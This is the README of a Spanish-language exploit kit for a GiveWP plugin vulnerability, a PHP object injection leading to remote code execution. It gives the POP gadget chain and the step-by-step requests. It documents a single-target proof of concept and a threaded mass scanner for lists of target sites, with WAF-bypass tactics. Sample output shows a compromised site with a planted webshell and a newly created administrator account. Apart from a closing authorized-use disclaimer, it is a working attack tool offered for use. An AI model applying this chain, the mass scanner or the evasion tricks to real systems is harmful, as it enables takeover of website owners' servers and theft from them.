
GiveWP <= 4.16.7.1 Inyección de Objetos PHP No Autenticada → RCE
Autor: Rx019
CVSS: 10.0 (Crítico)
Tipo: Inyección de Objetos PHP No Autenticada → Ejecución Remota de Código
Plugin: GiveWP (give) — Plugin de Donaciones y Plataforma de Recaudación de Fondos
Afectado: <= 4.16.7.1
Parcheado: 4.16.8
GiveWP almacena el last_name de un donante en la sesión PHP sin saneamiento. Cuando se envía una donación sin el campo give_last, GiveWP deserializa el valor crudo de la base de datos directamente en la sesión. Esto permite que un atacante no autenticado inyecte un objeto PHP serializado en last_name a través del endpoint del perfil del donante, y luego active la deserialización enviando una donación manipulada — lo que resulta en la ejecución arbitraria de comandos mediante una cadena POP preconstruida disponible en las librerías de proveedores incluidas en GiveWP.
TCPDF::__destruct()
└─ Session::getBag() ← llama al método nombrado por $attributeName
└─ DonationFactory::__call()
└─ system($command) ← $command proviene de $attributeName
Clases de proveedores utilizadas:
| Clase | Archivo |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. Registrarse como donante → sesión autenticada (cookie wp-login)
2. POST /wp-admin/profile.php
last_name = cadena TCPDF serializada con comando system() incrustado
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (campo give_last OMITIDO)
→ GiveWP lee last_name de la BD, escribe el objeto crudo en la sesión
4. GET /?p={form_id}
→ el cierre de la sesión PHP dispara TCPDF::__destruct()
→ la cadena POP ejecuta system(command)
5. Confirmar shell / admin creado
pip install requests rich
Python >= 3.9
| Archivo | Descripción |
|---|---|
CVE-2026-82222.py | PoC de objetivo único — salida detallada paso a paso |
CVE-2026-82222-MASS.py | Escáner masivo — modo por lotes con hilos |
python CVE-2026-82222.py
Solicitud interactiva:
URL del objetivo: https://victim.com
O directo:
python CVE-2026-82222.py https://victim.com
# Lote desde archivo
python CVE-2026-82222-MASS.py -f targets.txt
# Número personalizado de hilos
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# Múltiples objetivos en línea
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# Menú interactivo
python CVE-2026-82222-MASS.py
Formato del archivo de lote:
# Las líneas que comienzan con # se ignoran
https://target1.com
https://target2.com
target3.com # protocolo prefijado automáticamente como https://
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + directo) https://victim.com │
│ Versión : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Método : shell + directo (sin necesidad de escribir .php) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulnerables : 12 Parciales : 3 Parcheados : 44 No Vulnerables : 21 Errores : 2 Total : 82
Resultados guardados en ~/Documents/CVE/CVE-2026-82222/:
| Archivo | Contenido |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | Resultado de ejecución única |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | Resultados completos del lote |
success_results.txt | Líneas VULN/PARCIAL añadidas |
El exploit intenta dos rutas principales en secuencia:
wp_create_user() como base64 en la cadena TCPDFSe utiliza cuando la Ruta A falla o no se puede verificar el inicio de sesión del admin.
last_name mediante el endpoint del perfilgive_last)/?p={form_id})id | tee a un archivo .txt en uploadsSi se confirma un shell pero aún no existe un admin, crear uno mediante el shell usando wp_create_user() a través del parámetro ?c= del webshell.
| WAF | Estrategia |
|---|---|
| Imunify360 | Eliminar cabeceras de suplantación X-Forwarded-For / X-Real-IP |
| Wordfence | Rotar User-Agent desde el grupo |
| Cloudflare | Establecer Accept-Encoding: gzip, deflate, br |
DISALLOW_FILE_EDIT en wp-config.php bloquea el vector del editor de plugin/tema — el script lo detecta temprano y pasa a la Ruta BRx{100-999}.php — aleatorizado por ejecuciónEsta herramienta se publica únicamente para pruebas de seguridad autorizadas y fines de investigación.
Úsela solo contra sistemas que posea o para los cuales tenga permiso escrito explícito.
El uso no autorizado es ilegal y poco ético.